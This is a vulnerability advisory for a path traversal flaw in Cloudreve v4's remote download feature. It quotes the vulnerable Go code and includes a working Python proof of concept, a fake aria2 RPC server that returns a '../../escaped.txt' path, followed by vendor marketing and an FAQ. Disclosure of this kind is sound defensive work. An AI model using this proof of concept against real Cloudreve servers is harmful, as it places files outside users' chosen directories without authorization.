GHSA-W8J7-39HP-8X59

GHSA-W8J7-39HP-8X59 is a medium-severity path traversal vulnerability in github.com/cloudreve/Cloudreve/v4 (go), affecting versions <= 4.0.0-20260606032813-26b6b1044b02. No fixed version is listed yet.

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Summary

Cloudreve's remote download file paths can escape the selected destination directory

Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.

Details

In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.

// pkg/filemanager/workflows/remote_download.go:436-438
sanitizedName := sanitizeFileName(file.Name)
dst := dstUri.JoinRaw(sanitizedName)
src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))

The same issue also exists when constructing slave upload payloads.

// pkg/filemanager/workflows/remote_download.go:323-327
dst := dstUri.JoinRaw(sanitizeFileName(f.Name))
src := path.Join(m.state.Status.SavePath, f.Name)
payload.Files = append(payload.Files, SlaveUploadEntity{
	Src:   src,
	Uri:   dst,

The sanitizer does not remove /, ., or .. path segments.

// pkg/filemanager/workflows/remote_download.go:648-650
func sanitizeFileName(name string) string {
	r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_")
	return r.Replace(name)
}

JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.

// pkg/filemanager/fs/uri.go:173-175
func (u *URI) JoinRaw(elem string) *URI {
	return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}

For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.

// pkg/downloader/aria2/aria2.go:148-159
relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)
if len(relPath) > 0 {
	relPath = relPath[1:]
}
return downloader.TaskFile{
	Index:    index,
	Name:     relPath,

Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt

The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.

PoC

The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.

Setup:

Cloudreve official Docker image
PostgreSQL
Redis
Fake aria2 JSON-RPC service

Configure the master node in the Cloudreve admin UI:

Remote download capability: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: empty

Create this folder structure in the file manager:

My files /
  victim /
    safe /

Create a remote download task using any URL in the victim/safe directory, for example:

http://attacker.invalid/file

The fake aria2 service returns:

files[0].path = <saveDir>/../../escaped.txt

Expected result after the remote download task completes:

cloudreve://my/escaped.txt exists

This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.

Appendix: fake_aria2.py

import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer

GID = "0123456789abcdef"
CONTENT = b"created outside the selected Cloudreve destination\n"
save_dir = "/cloudreve/data/temp/aria2/poc-final"


def write_source_file():
    source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt"))
    os.makedirs(os.path.dirname(source), exist_ok=True)
    with open(source, "wb") as f:
        f.write(CONTENT)
    print(f"fake aria2 source file: {source}", flush=True)


def response(rpc_id, result):
    return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode()


class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        global save_dir

        raw = self.rfile.read(int(self.headers.get("Content-Length", "0")))
        req = json.loads(raw or b"{}")
        method = req.get("method")
        rpc_id = req.get("id")

        if method == "aria2.addUri":
            for item in req.get("params", []):
                if isinstance(item, dict) and item.get("dir"):
                    save_dir = item["dir"]
                    break
            write_source_file()
            result = GID
        elif method == "aria2.tellStatus":
            result = {
                "gid": GID,
                "status": "complete",
                "totalLength": str(len(CONTENT)),
                "completedLength": str(len(CONTENT)),
                "uploadLength": "0",
                "downloadSpeed": "0",
                "uploadSpeed": "0",
                "infoHash": "",
                "numPieces": "1",
                "dir": save_dir,
                "files": [
                    {
                        "index": "1",
                        "path": f"{save_dir}/../../escaped.txt",
                        "length": str(len(CONTENT)),
                        "completedLength": str(len(CONTENT)),
                        "selected": "true",
                        "uris": [],
                    }
                ],
                "bittorrent": {"mode": "single", "info": {"name": "poc-final"}},
            }
        elif method == "aria2.getVersion":
            result = {"version": "fake-poc-final", "enabledFeatures": []}
        else:
            result = "OK"

        body = response(rpc_id, result)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        return


if __name__ == "__main__":
    print("fake aria2 JSON-RPC listening on :6800", flush=True)
    HTTPServer(("0.0.0.0", 6800), Handler).serve_forever()

Impact

If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.

This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Affected versions

github.com/cloudreve/Cloudreve/v4 (<= 4.0.0-20260606032813-26b6b1044b02)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

No fixed version is listed for GHSA-W8J7-39HP-8X59 yet.

In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-W8J7-39HP-8X59? GHSA-W8J7-39HP-8X59 is a medium-severity path traversal vulnerability in github.com/cloudreve/Cloudreve/v4 (go), affecting versions <= 4.0.0-20260606032813-26b6b1044b02. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. Which versions of github.com/cloudreve/Cloudreve/v4 are affected by GHSA-W8J7-39HP-8X59? github.com/cloudreve/Cloudreve/v4 (go) versions <= 4.0.0-20260606032813-26b6b1044b02 is affected.
  3. Is there a fix for GHSA-W8J7-39HP-8X59? No fixed version is listed for GHSA-W8J7-39HP-8X59 yet. Monitor the advisory for updates and apply mitigations in the interim.
  4. Is GHSA-W8J7-39HP-8X59 exploitable, and should I be worried? Whether GHSA-W8J7-39HP-8X59 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-W8J7-39HP-8X59 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-W8J7-39HP-8X59? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.

Other vulnerabilities in github.com/cloudreve/Cloudreve/v4

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